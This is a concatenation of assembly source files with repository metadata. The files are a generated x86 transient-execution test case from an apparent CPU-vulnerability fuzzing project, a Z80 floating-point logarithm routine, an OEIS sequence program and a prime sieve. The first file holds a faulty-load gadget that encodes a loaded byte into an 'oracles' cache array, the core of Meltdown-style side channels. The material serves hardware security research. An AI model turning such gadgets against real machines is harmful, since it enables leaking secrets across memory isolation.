2022-03-30T12:22:51.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1928.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/AVXALIGN/_zr_/i9-9900K_12_0xa0.log_21829_1928.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r10 push %rax push %rbp push %rbx push %rcx push %rdi push %rdx push %rsi lea addresses_WC_ht+0x16424, %r10 nop nop nop nop xor $50478, %rsi mov $0x6162636465666768, %rdx movq %rdx, %xmm1 vmovups %ymm1, (%r10) and $20375, %rdx lea addresses_WC_ht+0xec64, %r10 nop nop nop nop nop and %rdi, %rdi mov $0x6162636465666768, %rbp movq %rbp, (%r10) xor %rbp, %rbp lea addresses_A_ht+0xbcaf, %rcx clflush (%rcx) nop nop cmp %r10, %r10 mov (%rcx), %si nop nop nop sub $59676, %rcx lea addresses_UC_ht+0x5ae4, %rcx sub %rbx, %rbx mov (%rcx), %r10d nop nop nop nop lfence lea addresses_WC_ht+0x32a4, %rsi nop nop nop nop dec %rcx movl $0x61626364, (%rsi) sub $64241, %rdi lea addresses_normal_ht+0x16529, %rsi lea addresses_D_ht+0x53e4, %rdi cmp %rax, %rax mov $105, %rcx rep movsw nop nop nop nop dec %rsi lea addresses_WT_ht+0x5da4, %rsi lea addresses_A_ht+0x5ec0, %rdi nop nop cmp $10238, %r10 mov $108, %rcx rep movsq nop nop cmp $16250, %rdx lea addresses_D_ht+0x671c, %rdx inc %rdi mov $0x6162636465666768, %rax movq %rax, %xmm3 and $0xffffffffffffffc0, %rdx movaps %xmm3, (%rdx) nop nop nop inc %rbp lea addresses_D_ht+0x11b4c, %rsi clflush (%rsi) nop nop nop nop and $22120, %r10 mov $0x6162636465666768, %rdi movq %rdi, %xmm3 vmovups %ymm3, (%rsi) nop nop nop nop cmp $58648, %rax lea addresses_D_ht+0x14a88, %rsi lea addresses_WT_ht+0x5094, %rdi xor %rax, %rax mov $6, %rcx rep movsw nop nop nop nop xor %rcx, %rcx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %rbp pop %rax pop %r10 ret .global s_faulty_load s_faulty_load: push %r14 push %r15 push %r9 push %rax push %rcx push %rdi push %rdx // Store lea addresses_US+0x18ce4, %rdi nop nop nop nop nop and $26497, %rdx mov $0x5152535455565758, %r15 movq %r15, (%rdi) nop nop cmp $27907, %rdx // Store lea addresses_RW+0x5b60, %rdx nop nop nop sub %r9, %r9 movb $0x51, (%rdx) sub %r9, %r9 // Store lea addresses_PSE+0x1f104, %r9 clflush (%r9) nop sub $13023, %rdx movb $0x51, (%r9) nop xor %rdx, %rdx // Faulty Load lea addresses_A+0xf0e4, %r14 nop nop nop nop xor $61562, %r15 mov (%r14), %rax lea oracles, %rdx and $0xff, %rax shlq $12, %rax mov (%rdx,%rax,1), %rax pop %rdx pop %rdi pop %rcx pop %rax pop %r9 pop %r15 pop %r14 ret /* <gen_faulty_load> [REF] {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': False, 'size': 8}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 9, 'type': 'addresses_US', 'AVXalign': False, 'size': 8}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 2, 'type': 'addresses_RW', 'AVXalign': False, 'size': 1}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 4, 'type': 'addresses_PSE', 'AVXalign': False, 'size': 1}} [Faulty Load] {'src': {'NT': False, 'same': True, 'congruent': 0, 'type': 'addresses_A', 'AVXalign': True, 'size': 8}, 'OP': 'LOAD'} <gen_prepare_buffer> {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 5, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 32}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': False, 'size': 8}} {'src': {'NT': False, 'same': False, 'congruent': 0, 'type': 'addresses_A_ht', 'AVXalign': False, 'size': 2}, 'OP': 'LOAD'} {'src': {'NT': False, 'same': True, 'congruent': 9, 'type': 'addresses_UC_ht', 'AVXalign': False, 'size': 4}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 6, 'type': 'addresses_WC_ht', 'AVXalign': True, 'size': 4}} {'src': {'same': False, 'congruent': 0, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_D_ht'}} {'src': {'same': False, 'congruent': 5, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': True, 'size': 16}} {'OP': 'STOR', 'dst': {'NT': False, 'same': False, 'congruent': 3, 'type': 'addresses_D_ht', 'AVXalign': False, 'size': 32}} {'src': {'same': False, 'congruent': 2, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_WT_ht'}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
34.879808
2,999
0.656651
6967492283489c721b973775104d16f556037909
2,032
asm
Assembly
bfloat/fln.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
12
2020-02-17T09:07:02.000Z
2022-02-09T22:15:34.000Z
bfloat/fln.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
null
null
null
bfloat/fln.asm
DW0RKiN/Floating-point-Library-for-Z80
494add6bc20922f4a634fbbacb32d8bd4dd185a7
[ "MIT" ]
1
2021-06-21T23:30:28.000Z
2021-06-21T23:30:28.000Z
if not defined @FLN include "fadd.asm" ; logaritmus naturalis ; Input: HL ; Output: HL = ln(abs(HL)) +- lowest bit (with exponent -1($7E) the error is bigger...) ; ln(2^e*m) = ln(2^e) + ln(m) = e*ln(2) + ln(m) = ln2_exp[e] + ln_m[m] ; Pollutes: AF, B, DE @FLN: if not defined FLN ; ***************************************** FLN ; * ; ***************************************** endif if fix_ln ; fixes input errors with exponent equal to -1 LD A, H ; 1:4 SUB $7D ; 2:7 RR A ; 2:8 JR z, FLN_FIX ; 2:12/7 endif LD A, L ; save LD L, H ; LD H, 1+(high LN2_EXP) ; hi LN2_EXP[] LD D, (HL) ; DEC H ; lo LN2_EXP[] LD E, (HL) ; ADD A, A ; JR z, FLN_NO_ADD ; DEC H ; LN_M[] LD L, A ; LD A, (HL) ; INC L ; LD H, (HL) ; LD L, A ; LD A, D ; OR E ; JP nz, FADD ; HL = HL + DE = LN_M[] + (+-LN2_EXP[]) RET ; if fix_ln FLN_FIX: ADC A, high LN_FIX ; LD H, A ; SLA L ; LD E, (HL) ; INC L ; LD D, (HL) ; if carry_flow_warning OR A ; endif endif FLN_NO_ADD: EX DE, HL ; RET ; endif
30.787879
93
0.251969
976e6f6899f47dbc45c299701b01dd228a2d6b01
2,251
asm
Assembly
programs/oeis/006/A006011.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/006/A006011.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/006/A006011.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A006011: a(n) = n^2*(n^2 - 1)/4. ; 0,0,3,18,60,150,315,588,1008,1620,2475,3630,5148,7098,9555,12600,16320,20808,26163,32490,39900,48510,58443,69828,82800,97500,114075,132678,153468,176610,202275,230640,261888,296208,333795,374850,419580,468198,520923,577980,639600,706020,777483,854238,936540,1024650,1118835,1219368,1326528,1440600,1561875,1690650,1827228,1971918,2125035,2286900,2457840,2638188,2828283,3028470,3239100,3460530,3693123,3937248,4193280,4461600,4742595,5036658,5344188,5665590,6001275,6351660,6717168,7098228,7495275,7908750,8339100,8786778,9252243,9735960,10238400,10760040,11301363,11862858,12445020,13048350,13673355,14320548,14990448,15683580,16400475,17141670,17907708,18699138,19516515,20360400,21231360,22129968,23056803,24012450,24997500,26012550,27058203,28135068,29243760,30384900,31559115,32767038,34009308,35286570,36599475,37948680,39334848,40758648,42220755,43721850,45262620,46843758,48465963,50129940,51836400,53586060,55379643,57217878,59101500,61031250,63007875,65032128,67104768,69226560,71398275,73620690,75894588,78220758,80599995,83033100,85520880,88064148,90663723,93320430,96035100,98808570,101641683,104535288,107490240,110507400,113587635,116731818,119940828,123215550,126556875,129965700,133442928,136989468,140606235,144294150,148054140,151887138,155794083,159775920,163833600,167968080,172180323,176471298,180841980,185293350,189826395,194442108,199141488,203925540,208795275,213751710,218795868,223928778,229151475,234465000,239870400,245368728,250961043,256648410,262431900,268312590,274291563,280369908,286548720,292829100,299212155,305698998,312290748,318988530,325793475,332706720,339729408,346862688,354107715,361465650,368937660,376524918,384228603,392049900,399990000,408050100,416231403,424535118,432962460,441514650,450192915,458998488,467932608,476996520,486191475,495518730,504979548,514575198,524306955,534176100,544183920,554331708,564620763,575052390,585627900,596348610,607215843,618230928,629395200,640710000,652176675,663796578,675571068,687501510,699589275,711835740,724242288,736810308,749541195,762436350,775497180,788725098,802121523,815687880,829425600,843336120,857420883,871681338,886118940,900735150,915531435,930509268,945670128,961015500 pow $0,2 mov $1,$0 bin $1,2 div $1,2
281.375
2,177
0.871168
3a45fd9c84265ed7e27fb3c92927909349c1ddc4
1,650
asm
Assembly
examples/sieve.asm
dalehumby/d8
1b8e09270ddeccdad2aaa932f8085bb761e84cf6
[ "MIT" ]
null
null
null
examples/sieve.asm
dalehumby/d8
1b8e09270ddeccdad2aaa932f8085bb761e84cf6
[ "MIT" ]
null
null
null
examples/sieve.asm
dalehumby/d8
1b8e09270ddeccdad2aaa932f8085bb761e84cf6
[ "MIT" ]
1
2022-02-06T15:46:17.000Z
2022-02-06T15:46:17.000Z
; Implement Sieve of Eratosthenes ; https://en.wikipedia.org/wiki/Sieve_of_Eratosthenes ; Start with an array of numbers between 2..MAX, filter out all non-primes ; Left with an array like [2, 3, 0, 5, 0, 7, 0, 0, 0, 11, 0, 13, ..., 23] .reset Start .define MAX 23 ; Highest number to test .define LENGTH MAX-1 ; Don't include 1 as the first prime .origin 0x10 .byte array LENGTH .byte thisPrime 1 Start: LD X, &array ; Starting address LD E, &array+LENGTH-1 ; End address LD A, #2 ; First prime FillArray: ; First fill the array with 2..MAX ST A, X, 0 INC A INC X CMP E, X BCC FillArray ; Fill array until X > E ; Initialise LD X, &array-1 ; Back to start of array (FIXME hacky -1) ST X, thisPrime CLR B TryNextPrime: LD X, thisPrime INC X CMP E, X BCS End ; If reach end of array then we're done ST X, thisPrime LD A, X, 0 ; Load A with next potential prime CMP A, B BEQ TryNextPrime ; array[X] == 0 which means not-a-prime, so try next number FilterMultiples: ADD X, X, A ; X = X + A CMP E, X ; Past the end of the array? BCS TryNextPrime ; If so, go find the next prime ST B, X, 0 ; Else set array[X] = 0 to mark as not a prime BRA FilterMultiples End: STOP
33
95
0.495152